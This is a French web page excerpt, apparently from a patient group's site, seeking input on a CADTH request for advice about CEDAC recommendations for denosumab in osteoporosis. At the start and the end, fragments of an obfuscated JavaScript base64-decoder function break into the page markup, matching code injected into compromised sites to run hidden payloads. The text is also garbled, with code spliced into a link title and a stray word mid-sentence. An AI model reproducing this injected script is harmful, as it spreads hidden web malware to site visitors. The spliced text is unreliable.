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function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o/" title="Permalink to Demande d’avis de l’ACMTS quant aux recommandations du CCEM concernant le dénosumab dans le traitement de l’ostéoporose" rel="bookmark">Demande d’avis de l’ACMTS quant aux recommandations du CCEM concernant le dénosumab dans le traitement de l’ostéoporose

Stickman with megaphone calling for patient inputDésirez-vous fournir des commentaires pour étoffer notre rapport à l’ACMTS et notre avis au CCEM ?

L’agence canadienne des médicaments et des technologies de la santé (ACMTS) a reçu une demande d’avis pour le dénosumab (Prolia®). Cette demande émane de leurs régimes d’assurance-médicaments participants et pourrait hommesentraîner la révision de la recommandation du Comité canadien d’expertise sur les médicaments (CCEM) ou un relevé d’avis du CCEM.

L’ACMTS s’intéresse plus particulièrement aux sujets suivants :

  1. Comment mieux définir le risque de fracture ?
  2. Doit-on faire mention de l’âge (>75 ans) ou des résultats de densité osseuse, ou ces facteurs sont-ils pris en considération adéquatement dans l’évaluation du risque de fracture ?
  3. Comment mieux définir l’échec d’un bisphosphonate ?
  4. Comment mieux définir l’intolérance à un bisphosphonate ?

L’avis a été demandé afin d’harmoniser les recommandations du CCEM pour les femmes (2011) et les hommes (2015).   function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o/#more-12059″ class=”more-link”>Continue reading